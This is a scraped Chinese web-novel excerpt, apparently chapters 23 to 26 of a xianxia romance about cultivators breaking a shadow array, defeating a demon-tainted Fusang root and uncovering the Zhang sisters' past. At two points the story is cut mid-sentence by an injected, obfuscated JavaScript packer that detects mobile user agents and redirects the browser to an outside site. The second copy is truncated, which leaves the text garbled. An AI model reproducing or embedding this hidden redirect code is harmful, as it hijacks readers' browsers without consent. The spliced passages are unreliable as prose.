一个个浓黑的阴影沿着足底的交界处,轻盈而迅速地站立了起来,从薄如蝉翼到轮廓分明,形态变得和他们原身一模一样,与他们相对而立。 此时,五个人,陷入了各自的迷雾。 你是否有过遗憾?如果可以弥补,你是否愿意付出一切? 你是否心存怨恨?恨天道不公,恨自己不够强?如果可以,你是否希望能有一个更完美的自己,拯救命运的阴差阳错? 时空变幻。 上古大战中,应时与魔神在阵中对峙着,墨蓝与漆黑不再分明。 “交给我。我可以改变这一切,我有能力杀了这个魔,让你在意的人活下来。”熟悉又陌生的声音在应若耳边萦绕。 应若静默一瞬,“不了。我的因果,是我所选,我自己担。过往已成定局,谁都改变不了。” “继续看吧,你会后悔的。” 应若曾想象过无数次,也问过自己无数次,那一战究竟是怎样的景象。如今这番,好像也和她想象之中差不多,接下来,就要到飞灰烟灭的情节了吧。不过,看一看也无妨,不管是否自愿,来都来了。 蓝色的灵力与黑色的魔气在瞬息间爆发,龙鳞碎冰,蔚然成林,神力激荡覆盖天地,而后消散。最后一击过后,巨大的冲击将整个阵夷为平地。 没有鲜血,唯有尘埃,散在风里,散落一地。 “到了这个地步了,还不肯放弃吗?看清楚,你救不了他。” “他不需要我救,更不需要你,他的选择自有归路。”应若神色淡淡,有些索然无味。这阵法也是徒有虚名,只要心志坚定,便不会被蛊惑。 等了片刻,应若见这变化无常,便道:“你的这些窥心之术,奈何不了我的。我活了这么久,如果这些事情都想不明白,那真是白活了。 没有人完美无瑕,若开始即是完满,也不必再修行了,一生的时间还有何求?” 耳边的声音没再言语。田庄中,应若身前的影子仿佛在一瞬间失去了所有力气,逐渐变小,最后,平摊在地上,化回它原本的模样。 莹白月色,魔气近在咫尺。 应若朝着应时袭了过来,恍惚间,应时没再抵挡。他想,如果没有他的那一剑,魔与神的结局,是否会有不同。 “这就是你所希望的吗?我可以帮你。” 一息过后,应若也停了下来。顷刻间她周身魔气涌动,魔神降临。 “看啊,你们注定敌对,一生一死已是最好的结局。还是说,你想去除她体内的魔气?” 话音刚落,应若便不再受到魔气困扰,灵气环绕,笑意盈盈。 “或者成为更强大的神吧,你便可以随心所欲了,我可以赐予你力量。”这声音见他仍旧无动于衷,只得继续变幻。 应时体内瞬间充盈无尽神力,抬手之间,星辰亦可及。 应时只是静静地感受着这一切发生,但他已经心有所系,不会再为外物烦扰。他只是想看看,到最后,可能会变得如何。所有的因果,他都已反复思量。他最清楚自己内心,也最清楚自己的所念所想。知过往,不畏将来。 只是,既然已经得了这神力,不用便是浪费了。神力挥出,风云骤变,应时用这被赋予的力量,生生破开阴影,睁开了双眼。 “阿染!”是谁在唤她? “母亲!”花染飞扑进母亲怀中。 “有长进,是不错。”父亲接过她的刀颠了颠,鼓励着。 “累不累?”兄长摸了摸她的鬓发,一手为她擦去额角的汗水。 忽而,母亲被魔气缠住,花染灵力灌注长刀,气势恢宏间刀光如电,强大的力量终于使魔气溃散。从此,他们一家人,和乐安康。 “这样的日子,很好吧,我是不是,比你更好?我来代替你,好不好?” 阴影之下,花染思绪飘远。即使父亲和兄长待她不亲近,但养育之恩终究无以为报。她自己只顾着远走天涯,寻心所向,如果能有人代替她照顾父兄,也是好的吧? 可是,好像少了些什么。她的生命中,她在意的,有家人。还有谁呢? 那声音见这又是一个没有回音的,有些气恼,只得更卖力地演绎起来。 “阿染,我们换一下吧,你留下来继承家业,换我一人仗剑天涯。你这么久没有回家,父亲和母亲都很是思念你。”兄长温和地劝道。 可花染仍旧沉浸在自己的思绪中,她想啊想。她终于想起来了,他们,生命中不可或缺的挚友。 “你别想骗我,我是独一无二,不可替代的。就算你再好,我成不了你,你也不是我。”就这样,花染摆脱阴影。 尘沙飞扬,远古战场上,朱厌在剿灭魔族后,亦被魔气所伤,不能自控。在体内妖力即将爆发之际,桃夭化作一线流光没入朱厌心口,温柔地将四溢的魔气笼罩,魔气与桃夭的妖力撞击而后消融。最终,二人的身影,一同消失在远古的时空。战场上的其他人和妖没有被魔力波及,得以幸存。 那声音在墨悦的记忆中发现了这有趣的一幕,正要出言诱导。却未曾想,墨悦嗤笑一声:“就算是前生又如何,我是我,他是他,我只会更加珍惜当下。我前些天没忍住好奇心,在轮回经里看见了一些,但也只是如此。除此之外,我也没再记起其他的事情。” “你就不想知道她是谁,不想救她吗?”那声音急切地说着。 “我想做的事,我会自己去做。至于你,与我无关。”墨悦无意多留,手中蓄力用妖力破除了阴霾。 那声音望着空荡荡的一片漆黑,竟是抽噎着发出了哭腔,呜呜咽咽地。 “你们怎么都这样!我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15387236|165498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想看看外面的世界。” 几乎是同一时间,应若的双眼恢复了神采,正对上应时刚刚睁开的眼,再一转头,花染和墨悦眼神清明,杜嘉毅也缓缓睁开了双眼,影子随之恢复原样。 “奇怪,我们都已经从那个什么孤影成双阵中出来了,怎么还不能离开这里?”花染在边界左右试探着,却还是无法离开田庄。 “看来只能去找章落了。”墨悦快步走在前面。 东厢房里,没有人。她们找遍了整个田庄,一个人都没再见到。 “难道我们还在阵中?”应时此时也有些疑虑。 应若想到章落体内也有柏木妖血,想来树妖一族的法术对她应当也有作用,至少能得知她的位置。应若抬手捏诀,“以树之名,有召必应,章落。”墨绿色的妖力如树藤般蔓延缠绕,四散开来。 “在东厢房。” “或许是哪里有阵法,可以到达章落所在。”应时一边寻找可能的阵引,一边说着。 “是我的错觉吗?”应若悄声同应时说着。余光里,杜嘉毅走在最后,步伐有些缓慢,一路上都没有言语。 “我正想同你说。”应时轻轻地点了下头,“我刚让花染和墨悦去稳住他,如果小师叔在月落前没能出来,就会彻底被所谓的影子替代,互换身份。真正的他,恐怕还身在梦中,不知所在。” “能让它回去,换杜嘉毅出来么?在阵中时,感觉这个影子不是章落本人的性情,像是有自己的想法,还不大聪明的样子。”应时思索着。 “那就试试。”应若偏头一笑,先一步走向那边。 二人来到了杜嘉毅身旁,应时一言不发就出手袭向杜嘉毅,杜嘉毅闪避不及连声痛呼,“痛啊!停!” 他好不容易直起身,脸色沮丧,嘴角明显地向下撇着。 应若面带微笑,语气温柔地问道:“那么请问,你可以回去了吗?” “可是,这是我第一次出来,里面都是黑黑的。”见杜嘉毅露出泫然欲泣的表情,几人一时间沉默了。 花染倒是来了兴趣,歪头问到:“那你是谁的影子呀,这么厉害,还有这般妖力,能控制一个大阵?” “啊,我不记得名字了。她那时好像看不见我,所以我在没有意识的时候才被人带走,她都不知道。”影子又挠了挠头,“哦,她旁边好像有很多树来着。” 应若指着房内案桌上,插在花瓶中的一截树枝,问道:“是这样叶子的树吗?” “嗯,好像是。”影子伸出一根手指,轻轻触碰叶片,只觉这触感新鲜,后又回味似的捻了捻手指。 “柏木,章英。”应时略微皱眉。或许,她是章英的影子,不知被谁困在阵中。只是它的妖力并不强,只能借入阵者之身一看外面的世界。 “你是被炼化的影子,我有办法让你摆脱控制,不被束缚,恢复自由,你愿意吗?”应若认真地看向影子的双眼。 “愿意!”雀跃的声音传来,影子像是要飞起来一般蹦蹦跳跳的,甚至围着她转了一圈。 见杜嘉毅的身体做出这般举动,应若的神情也变得有些微妙了。应时把悲伤的事情想了个遍,才艰难忍住笑意。花染和墨悦更是捂着嘴,互相掐着对方的手臂,略微偏过头,不看、不想、不笑。 “呼!”墨悦长出一口气,继续问道,“你还记得,带你走的人是谁吗?” “我自从有意识,就是在阵里。我第一次见到的人就是你们。” 应若让大家聚在一起,把她的妖力系在每个人身上一份,继而对影子说:“来,拿着柏木枝,跟我念。” “光影有踪,相伴相形,木心有迹,不困不离。” 孤影成双,各自一方。谁的影,与谁成双? 24. 陌上桑荫 墨绿色光芒大盛,下一瞬,她们皆出现在章家墓园中、章英的棺柩旁。 章落竟然也在。 灵柩打开着,章英沉睡其中。章落目光呆滞地望着大家,轻声呓语:“来了。” 应若凝眸看向她,瞳孔却是微微一缩。月光下,她茕茕孑立,没有影子的,是章落。是因为章落总是去看章英,影子才会记得周围的楠木林。 几人意外过后,也明白过来,也许影子中有她的一缕魂,章落才时而清醒,时而怨怼。白日里她是清醒的,而当夜晚降临时,她的大部分神思都用来给章英看世界了,因而更易被操纵。在她背后,必定另有其人。影子被囚禁,魂魄不全,她便无法察觉到自己白日与夜晚的不同。 “是为了救你妹妹,你才变成这样的吗?”花染上前一步,心生不忍,她想,原来,这里困住的一直都是两个人。而那个阵,本意是孤影盼成双。 章落却恍若未闻,直直地走到影子面前,一行清泪从影子的眼角流下,影子终于看见了她的来处。 应若便也不再犹豫,“木归于林,影归于形。魂归。”妖力牵系于二人心口,一阵激荡后平息。章落的影子显现出来,杜嘉毅也如梦初醒。 章落头痛欲裂,“你们怎么在这里?”又自语道:“影子,是我。” 应若上前扶住她的肩,木系的治愈之力流动,章落感觉舒服许多,感激地对应若颔首。 “同根共生是禁术,是谁告诉你的?”应若问道。章家是商贾之家,藏书中怎会有此等禁术,定是他人所言。“还有,你的茶里都有毒,你知道吗?” 章落叹了口气,“这两件我都不晓得。那本记载着禁术的书,是被直接送进府中的。那时我执念深重,只要有一丝希望,我都不愿放过。 若是有毒,那便是意图控制我,摧毁我。给予我禁术的书,也是为此吧。应当是同一人所为!” “好。今日已晚,我们明日再细说。” 几人回到田庄,正欲各自休息,却见杜嘉毅面露难色,踟蹰不前,最后清了清嗓子,说了两个字“多谢”。应若暗笑一声,几人意味深长地交换了个眼色,应时缓步与杜嘉毅站定,“不再讲几句吗?” 杜嘉毅只好正色道:“多谢大家,救我出来。我只是一时心软,才让她得逞了。” “为何心软呢?”墨悦打趣追问,杜嘉毅却不再说了。 应时及时撇清关系,也道:“章落试探我是为了章英,并非真的对我有意。” “嘉毅哥,我作证,她应该真的很在意你,她与别人说话时总是不自觉地看向你的方向。”花染举手补充道。 “是啊,我们来的那天,她可是喊的你的名字。”应若也补上一句。“不过我很好奇,你怎么分得清章落和章英呢?” 杜嘉毅总算是恢复了点状态,连连摆手。“我曾给过章英一个香囊,她一直随身带着的。至于章落,我从前也没见过,对于她更不曾有了解过。” “哦!”墨悦发出了调侃的声音,一句话说得抑扬顿挫,“原来是心里只有一个人啊!” 回到房间后,杜嘉毅又回想起阴影之中,他看见自己的哥哥成了魔族少主,又被重伤。他站在阳光下,哥哥站在阴影中,他们之间,是明暗的交界,那么近,却又那么远。 他的哥哥就那样平静的望着他,说道:“弟弟,好久不见。我累了,你和我换一换吧。” 见他依旧一言不发,影子又变得可怜巴巴的,好像受了天大的委屈似的,声音里还带着几不可察的鼻音,“哥哥,我想出去。” 杜嘉毅听得这熟悉的声音,心中不由一震,他犹豫了一下,还是问道:“你哭过?” 那逞强的声音语气坚定:“没有!” 他笑叹一声,温和地说:“说实话,我就答应你。” “真的吗?”影子立时充满了精神。 “君子一言,驷马难追。”杜嘉毅对她保证。 “我是哭过,因为他们都不愿意让我出去。”影子语气哀伤。 杜嘉毅心想,这影子,也许投射了她的灵识。但说不清是因为从前的缘分,还是重逢的喜悦,让他不再理智从容,只是想尽自己所能的帮她,只要她能笑着、能快乐。 于是,他说:“好,我让你出去看看。” 应时这边,却是轻轻敲开了应若的房门。 二人坐在窗边,应时以目光描摹着应若的眉眼,说:“从轮回经中出来后,我就一直想问,你的记忆和妖力现在已经恢复大半了吧?” “很明显吗?”应若有些意外,她觉得自己表现得很自然,没有什么不同之处。 “是啊。”应时笑着点了点头,可能连她自己都没有意识到,在她渐渐恢复记忆和妖力后,她笑得更多,也更真切了。言语多了,也更从容了。 应时转而说起另一件事,“从明日起,我会与乾元剑中的那一缕神力融合。虽然你从来没问过我,但我想这么做。” “我的妖力就快要恢复了,你不用这么急的。”应若不解其意,明明之前一直很抗拒的样子,让她误以为,他想把前生今世分得一清二楚,各不相干。 “以我现在的灵力,压制魔气还不能做到游刃有余。我想和你一起承担更多的责任,就要有足够强大的力量。” 应时其实很庆幸,他的前生是应龙,他感激过去的自己,拥有力量,才能担得起存亡。而且在记起了最初的那段经历之后,他也时而回想起一些往事,当更多的心绪如潮水般涌来,他已经完全的与自己和解了。他也想,记起他们更多的过往,不要再让她,离他太远了。 “也好。一切小心。”应若明白过来,见他神情坚定,便也答应了下来。 “我以前从来没有想过,我的前生会与应龙扯上关系,所以,我一直觉得自己无论如何也比不过他。现在想来,也是自己同自己较劲了。”应时说着微微倾身向前,不经意间拉近了彼此之间的距离。 “我现在只想,记得更多。”是不是只有他完全记起过往,才能真正的成为自己,才不算辜负。 对上应时眼眸深处的炽热,那是夜风拂过也无法熄灭的温热心火。应若忽然间有些不知道该怎么面对他,从前应时情绪大多较为沉静内敛,不太会这样外露和直接。 应若心中有如浸润在温泉中一般,只是温度略有些高,心中温暖但有些迫人。她面上维持着一派镇定,只说道:“哦,我也还差一些没记起呢。”做魔之后,成为树妖的记忆,应若还没记起,应时也是如此。 应时看着她不住眨动着的眼睫,有一瞬间的无措被他看在眼中。他想,等他记起所有,不会再让她伤心了。 “时候不早了,晚安。” “晚安。” 这一次,放下心事,安然入眠。 次日一早,几人围坐在一起,开始探讨事宜。桌上摆了些瓜果,杯盏中全部换成了清水,再无人愿意饮茶。 墨悦在盘中仔细挑选了一个粉嘟嘟水灵灵的桃子,继而有些疑虑地问道:“这一次,在这东 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章落继续道:“昨日夜里,我忽感一丝念力,它告诉我,木系灵脉埋在章家墓地附近的桑树林下面。” 应若手中转动把玩着红艳艳的果子,微微停顿了一下,再自然而然地咬了一口,清脆甘甜。 “那我们各自休整一下,便去吧。” 陌上之地,桑林。 正午的阳穿过层层叠叠的叶片,洒落在每个人的身上。明媚的光影下,暗处埋藏的是什么呢? 走进这片桑林,应若莫名觉得有些不舒服,环顾四周,一切都是温暖和煦的味道。应时注意到应若的停顿,侧过身来低声询问道:“怎么了?” “这地方的气息我不太喜欢,灵脉在此我感觉到了,但还有别的什么。”应若闭了闭眼,扶着应时的手臂。 正巧章落回头看过来,“怎么了,不舒服吗?” “可能是太阳晃眼,有点儿头晕。没事了,走吧。” 桑林偏东的地方,章落在一株最大的桑树旁停下,以手扶住树干,念道:“桑荫不徙,木入深林。” 章落的灵力自掌心涌出,沿着这株合抱之木的树干向上、向下延伸,向上至树冠,向下及至大地,整株树都泛起幽深的光。树周围的土地开始震颤,土壤抖落自树根处裂开大大小小的缝隙,最后一阵剧烈的颠簸过后,这株桑树不见了,根系也不见了,留下了一个深不见底的空洞。 章落一不小心差点跌下去,被杜嘉毅拉了回来。“怎么会这样?”章落心有余悸。 应若在这深洞的边缘徘徊试探,应时在此时悄然靠近她,低语道:“方才空洞形成的那一瞬间,我察觉到了魔气。” “你是说章落?”应若环顾四下,见章落没有注意这边,也压低了声音。 应时点了点头,“不确定,又或许是这洞的深处。” 应若又仔细将妖力向下探查,却渐渐蹙起了眉,“洞底,有扶桑的气息。扶桑,还活着?还成了魔?” 为防万一,应若手下没有丝毫留情,也不再讲什么道理,直接用规束之术捆住了章落。 杜嘉毅见章落在幽绿的妖力中挣扎,不明所以,对应若问道:“这是做什么?” “小师叔,你在上面看好她,我们去这洞下面一探。”应时明白了应若的用意,也没再多解释。 洞底,土壤之中,交错纠缠着半埋土壤半裸露在外的树根,那是扶桑的根。 陌上有桑,为谁蒙荫。 25. 明暗不清 扶桑已经不是传说中灵树的模样,而是干枯的、焦黑的,它依靠着魔气的力量而活。 或许是和上古之树之间有所感应,踏入这片桑林之时,应若才会觉得不适。 应时一个箭步上前,抬手挡在前面道:“这魔气并非朝夕能够凝聚,它成魔已久,已无神智。”应若便明白,即便它是迫不得已,也是无法通过吸收魔气,让它恢复如初了。 话音刚落,只见这扶桑根系瞬间伸长,从四面八方张牙舞爪围拢过来,织成一个密不透风的牢笼,黑色的根系交织缠绕,将他们困于其中,再逐渐的挤压、缩小。 应若望着这成魔后失去理智,无所顾忌的扶桑,“怪不得,以林晚和萧寻的妖力,若非等闲魔族,即便有契约的桎梏,也无法短时间内困住他们。” “直接开始吗?”墨悦甩了甩手,跃跃欲试。 点头刹那,四道灵力磅礴而出,光芒四射,红黄蓝绿交织辉映,喷涌而上,在这牢笼的正中央破开了一道巨大的裂缝,又生生将这牢笼彻底瓦解。 干枯焦黑的根毫无生气地断裂四散,摔落在土地上,突然又仿佛有了生气,从四面八方迅速聚拢,急匆匆往泥土中钻去。应若眼疾手快,念道:“草木自规,灵心有束。” 规束之法一出,扶桑便被控制在半空之中,花染见此机会,立刻用土系法术剥离根系附着的泥土,让它不得从中汲取力量,墨悦用赤红火焰灼烧它的根脉,它疼痛难忍,拼尽全力抵抗,根须在空中摇摆张扬。应时果断几剑接连刺出,让它避无可避,挣扎扭曲,却还是被生生洞穿。顷刻间,魔气与灵气一同烟消云散。 泥土之下,慢慢显现出了许多植物的根系,这些根系先前因为魔气而枯萎,现在重新焕发了生机。 “可这,怎么会?”花染感到惊讶,她以为,魔气会将它们的生命消耗殆尽。 “被它聚拢又重新活过来的这些根,好像都是之前中了魔族之毒的。”应若细细地观察着,“但现在,它们的毒都已经消失了。” “没有扩散,而是消失了?”应时也弯下身来。 “莫非,是这扶桑之根让这些树根幸免于难?”墨悦难以置信地问道,“可它不是已经成魔了?” “世间事,有时也并非总是善恶分明的。”应若感知到了木系灵力的复苏,看着青翠的灵气蓬勃向上,再以此地为中心向四方不断的延伸、扩展。 应若感叹道:“这些根系,就是木系灵脉。章落先前已经开启了灵脉之阵,现下灵脉中魔气消散,自然阵成。 这里聚集的根系告诉我,他们很感激扶桑之根,即使它后来变成了连它自己都不认识的样子。” 扶桑之根原本深埋地底,已经沉睡万年。在很多树木遭受了魔族之毒时,它感应到了危机的来临,从沉睡中醒来。为了救这些树,它把树木的根系聚集起来,帮它们消除魔族之毒。 只是最后,它自己亦是难以抵御这毒,最终成了魔。 但它不知道自己已经成魔,它只是执拗地记得,它一定要活着,把树木的根聚在一起,它们要一起活着。却不知,自己后来做了些什么。却忘了,自己的初衷是为了什么。 入魔后,它便因循着魔的本能,去抢夺土壤、剥夺生机,把所有闯入者都当作入侵者,不死不休。可潜意识里,它还是为那些根系留了生机,让它们等到了新生。 还好她们在,扶桑还有机会重获新生,做一棵普通的桑树。 “真是令人唏嘘。”花染又一次共情了扶桑之根的遭遇,感慨万千。 “如此说来,木系灵脉已成,那我们还等什么?”墨悦揽过花染肩头,想将她从这纠结的情绪中带出来。 “这是章落香囊中的花,是彼岸花。”应若从袖中取出妖力隔绝包裹着的一朵白色,方才施展规束之时,她从章落的香囊中取出了其中之物。这还是因为花染无意间提了一句,“我之前同章落说话的时候,她都戴着香囊,可见嘉毅哥在她心里独一无二。” “这花有毒的吧?所以是章落还是……”花染惊异之余,说道:“不对,章落已经是完全清醒的了,应若姐给她疗伤也没有发现她有中毒的迹象。” “只怕,是用来牵制小师叔的。”应时四人互相对视,便一同飞身而上。只见桑林中,章落和杜嘉毅背对而立,章落黯然垂泪,杜嘉毅面无表情。 虽然不知道他们说了些什么,但这一刻,章落的伤怀多少都含了真心。 在彼岸花被应若带走的一瞬间,杜嘉毅便感觉到,伴随着花香远去,他心中那一丝牵系的线,断了。章落也知道,这一切,结束了。 那些不知缘何而起,却真实存在过的情,那些不知何所归的意。这情意,源于欺骗,终是无法长久。 “你不问我为何吗?”章落低垂着头。 “我不想知道了。谁知道你的话,哪句是真?”杜嘉毅,“既然都是假意,何必问、何必求、何必答。” 墨悦在一旁,不由愤怒地看向章落,质问道:“你为什么不抵抗,要替魔族做事?” 章落忽地笑开,眼中忧伤无人说。侧首间拭去泪,便换成一副无所顾忌的模样。即便不过是强撑的伪装,她希望她的离场,也要姿态昂扬。 章落抬手遮在眼前,就好像她的泪是因为这道刺眼的光。她对着应若说道:“来问我的灵吧。” 应若也不多言,问灵之下,真相渐次展开。 只是这记忆混乱,夹杂着痛苦的呼喊,欲求解脱而不能的独白。 和在章英那里看到的画面一样,小时候,和乐安康,笑语常伴。直到随同父母入宫觐见,从那之后的画面,截然不同了。 启程去往京都的前一天。 章英悄悄同章落耳语,“我结识了一个哥哥。” “哦?他的名字、是哪里人、做什么的……” “姐姐!”章英斜靠在章落身上,目光神往,“我们才刚认识呢。他是辰光山的修士。” “所以,你不想去京城了?” 章英扭捏着应声:“嗯。”她想任性一次,和姐姐互换身份。这样,她就可以和那位哥哥多相处一些时日了。 章落自然是答应了,她也很开心。因为,她终于可以出一次远门,去看外面的世界了。 那天正值上元节,姐妹二人达成共识后,便开开心心地出去玩了。街道上好多人都戴着面具,姐妹俩戴着章英提前买好的狐狸面具,很自然地融入了其中。 火红色的狐狸面具,一模一样,面具下的人,同样欢笑着的脸庞。 二人在寺中祈福的大榕树下,提笔写下自己的心愿。榕树包容万有,聆听祈愿。人人红绸写愿,系于枝头。 一阵风吹过,一条红绸迎风飘扬,“树常青,人常在。此情此景,时岁长宁。”这是章英的心愿。可不知是不是系的松了些,在章英转身离开后,这红绸竟被风吹得散开了,飘远了。 而章落的红绸上,空空荡荡。她提笔又放下,终是什么都没有写。能来系上红绸已是难得,她不敢再奢求其他愿望。 一条红绸飘落到章落眼前,她下意识抓住、展开。 “是阿英的。”她认出了妹妹的笔迹,连忙再次站到高处,将这红绸牢牢地绑在树枝上,系了个死结。那时的她想,她可以无所求无所愿。唯盼,上天可以实现妹妹的愿望。 可最终,也是她亲手毁掉了妹妹的心愿,就像她当初系上的那样义无反顾。 姐妹二人互相模仿得天衣无缝,所以最后,入宫的是章落。而在东隅,同杜嘉毅一起的是章英。 她们的相遇朦胧而美好,后有一出英雄救美,再后来接连几日的相处也有相见恨晚之意。奈何杜嘉毅这边师门有令,只得离去。 “我们还能再见吗?”亲人尚在京中未归,章英无法随他离开,亦无法让他留下,便只得寄盼来日。 面对未知,杜嘉毅不敢轻易给出承诺,便赠她一枚香囊,只说:“待我来日修行有成,再下山。我们有缘再见。” 那之后没过几天,在京都,章落遭遇大火, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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魔气袭来,章落却并未入魔。因共生之术对章落是束缚也是保护,章英的灵气通过共生传递给她,让她无法成魔。 那魔族冷哼一声,“还挺执拗,也不想想是谁给了你活着的机会!” 傀儡术剥离了章落的一片灵魂和影子,将其囚于田庄影阵,再放于她掌心。 “这是孤影成双。里面困着你最恨、最厌恶之人,好好用吧!” 至此,章落的识海中魔气缭乱。她的意识随着魔族的蛊惑而变化。 章落自缢的时候,是真的不想活了,不愿再拖累章英了。她不想再面对世事无常,也不想再忍受毒性发作的疼痛。而且,章英已经很久没有笑过了,长痛不如短痛,她不愿章英因她漫长地难过了。 而现在,她的内心深处,呐喊着愤怒、嫉妒、与失望,那个声音无时无刻不在质问身边人凭什么。 “凭什么我生来就被判处死罪?凭什么我只能躲躲藏藏?凭什么所有的毒和伤都要我抗?凭什么我的力量这样微弱……” 既然说她会作恶,那她便做了又如何,不然平白担了这罪名。再说,她父母和妹妹既然选择了留下她,就该完全的一视同仁,一个不被外人所知的姐姐,算什么呢?她们造的因,就要接受现在的结果。 魔族见她心魔已生,很是满意,又交给她两种秘方,换取章落为魔族效力。其一是荧惑之毒,将毒涂抹在植物上,便可以乱人心神。茶叶被涂了毒,他们才会心神大乱。二是引灵术,以物为引,牵系心灵。香囊和其中的彼岸花便是此用途,以牵系杜嘉毅。 “这么久了,我终于无须再生活在阴影之下,可以活得肆意又洒脱了!”章落仰天大笑,笑出了泪来。 于是,白日里,她的祈愿是章英可以早日醒来。可是到了夜晚,就变了,希望自己能够一直自由自在,至于章英,还是不要醒来好了。 于是,她摘下了章英一直佩戴的香囊,系在自己腰间。婚约是章英的,那修士也倾心于章英。章落也想要得到更多光明正大的爱,而不是不见天日,不声不响。她要过她的人生了。 心意不明,心思不清。 26. 物是人非 这一次魔族对木系灵脉的毒,是企图控制东隅城,通过制造混乱,使得人与妖心中滋生阴暗不满的情绪,这样魔族便能汲取放大这些恶念,壮大魔族势力。幸而有扶桑之根,让诸多生灵幸免于难。 之前用问灵之术所见的章英的记忆,是章落在梦境中为她重新编织的。章英所闻所见,皆出自章落之手。所谓眼见未必是真,耳闻也可有假,识人只得用心。 回忆光影掠过,匆匆结束,伴随着章落恨声说着:“没错,我就是那样想的,我就是在报复。”不管是否受到蛊惑,她的确那样想过,那样阴暗过。 “人非圣贤,孰能无过。”杜嘉毅开口说道。他年幼时怨恨过父母抛弃他,是师父劝导他。如今师父行差踏错,也许还有兄长。若有再见,他不会再手下留情。 几人将她带回了田庄,暂时关押在她自己的房间里。她们准备尽力让章英恢复意识,因为她是唯一有资格来做选择的人,生死离别、爱恨情仇,无论如何她都应该知道真相,而不是就此沉眠。 章家书阁,一灯如豆。 “我原本是打算今夜开始与乾元剑融合,以求突破。如果我早些开始,臻至人剑合一的境界,或许今日还能让扶桑恢复神智。”应时也不再掩饰,不免有些责怪自己。 “今天开始,就不算晚。”应若上前一步,与应时相对而立,轻柔地抬手拍了拍他的肩膀。“那你先开始吧,你这边好了,我们才更有把握。我们先研究一下共生之术的解除之法。” “扶桑它还能有生机吗?”花染的眼中满含恳切,对每一个生灵都心怀敬意。虽然她们都看见了,扶桑的灵已经彻底消散了。 应若神情宁静悠远,笑着说道:“妖界一直都有一个传说。为了守护苍生而逝去的生灵,可以选择化成一棵树。可能生长在妖界,也可能生长在人间,继续以生的希望守护世间。” “真好啊。” “等章英醒来得知真相,会很痛苦吧。”花染有些于心不忍,曾经的姐妹情深,却败给了世事无常,任谁一时之间都难以接受。 “可是人终究不能永远活在梦里、活在假象中。虚幻的泡影再美好,也是一戳就破,不复存在。”杜嘉毅坚信,正义永远不会缺席。 墨悦凑到杜嘉毅近前,压低声音问道:“嘉毅哥,你喜欢的究竟是姐姐还是妹妹呀?” 杜嘉毅轻轻地拍了一下墨悦凑过来的头,连连摇头苦笑道:“你!我说过,是章英。” 花染见此,背过身去,也凑近应若小声嘀咕:“墨悦真是情商忽高忽低,还偏偏生怕别人不知道似的。这种问题,就不能先问问我吗?” 应若好笑地轻揉了一下她的发髻,也学着她一样微微侧头,揶揄道:“是啊,他怎么没先向你请教呢?”应若故意把“你”字加重了音色。 花染一时间顿住,无法反驳自辨,左思右想眼中一亮,再度凑近,“呐,应时哥,也经常和我一样吧,嘿嘿嘿!” 正当花染得意于自己扳回一城,一回头却是吓了一跳,猛然发现应时就站在她们身后。也不知道刚刚听去了多少,明明他刚刚还在那边站着专心剑意的。 听得应时不急不缓地说:“你跟墨悦真是绝配,都是角度清奇,擅长歪打正着。” “这是好话吗?”花染真心实意地疑惑了。 “当然是。”应若肯定地点头,再同应时对视一眼,不约而同地笑了出来。 闲谈过后,他们一同翻看着书阁中的禁书,摸索着共生之术的解除方法。 “同心同力,根生土长,休戚与共,生死相依,是为同根共生之术。” “把灵力运转的方向逆转一下,或许可以解除呢。” “可我听说禁术解开,施术之人会遭到反噬。” “那我们一起,便能平分了这伤痛吧?” “不行。我来,才最有把握。” 应时这边,正在闭目领悟。“人心不变,剑意凛然,合而为一,万象归元。”应时在识海之中将这最后的剑招一一使出,融会贯通。 磅礴宏大的灵力游走于人与剑之间,如汪洋般宽广深邃。及至收势,仿佛于心海之中,一滴水落入正中心,悠悠地从内而外泛起了一圈圈涟漪,再渐次归于平静。一滴水融入水中,了无踪影,却也留下过痕迹。 应时融合完毕,她们也将沉睡的章英从柏木林中带了回来。 “时哥好像,更英俊了?”墨悦摸着下巴。 “肤浅!这叫境界!”花染嗤笑一声。 “一刻不见,刮目相看。”应若和杜嘉毅也是连连点头。融合过后,应时笑意如初,神姿凛然,青衫胜雪,愈发有通明透彻之感。 五人围坐成一圈,将章落和章英二人平躺着置于中央。 应若在默默感受着,在同根共生之术下灵力的运转方式,以期一次成功。 这禁术之所以难解,是因其中掺杂了引灵术,不会因参与的人多,就分摊降低了伤害。而是参与其中的每一个人,都容易受到同样严重的伤。 “开始吧。”花染已然摆好了架势。 话音落下,五人各自运转灵力,再将这灵力汇集至应若身上,便收手为应若护法。只有她是木系灵力,最有可能平安护住姐妹俩,让章英醒来。 应若接住这四种色泽的灵力,逐渐凝聚起金木水火土五种力量,再更多的注入木系绵长的生命之力。 循着共生之术的心法,应若凝神,心中默念,将这五行灵力紧紧包裹住姐妹二人,灵光闪烁,在她们周身流转、涌动,以生命之力打破沉睡的僵局。只有足够强大而凝聚的五行相生的力量,才能让共生趋于平衡,成为真正的共生。 某一个时刻,应若笃定地知道,她,成功了。她此刻已经与她们姐妹二人共生,已经成为共生的主导者。她忽然有了一种感觉,她好像能听到了另外两种心跳的声音在回响,她好像于识海之中,快速而准确地读取了她们至今的每一个生活细节。直到,她们二人于识海之中慢慢睁开眼。 应若缓缓走近姐妹二人,二人在这一刻对上了应若看过来的目光。应若也不再给她们叙旧的时间,径自把自己的记忆共享给章英去看了。 而此时的章落,神情倒是分外平静。没有落寞,没有抗争,就像世事再与她无关一样,只是定定地看着虚空中的某一个点。 章英知晓了全部的事情经过,垂首整理思绪。她未曾想过再次与姐姐相见,会是如今这般的场景。一别经年,真真是恍如隔世,早已是物是人非了。 应时见此,上前一步,开口问道:“如今,你还要继续共生吗?” 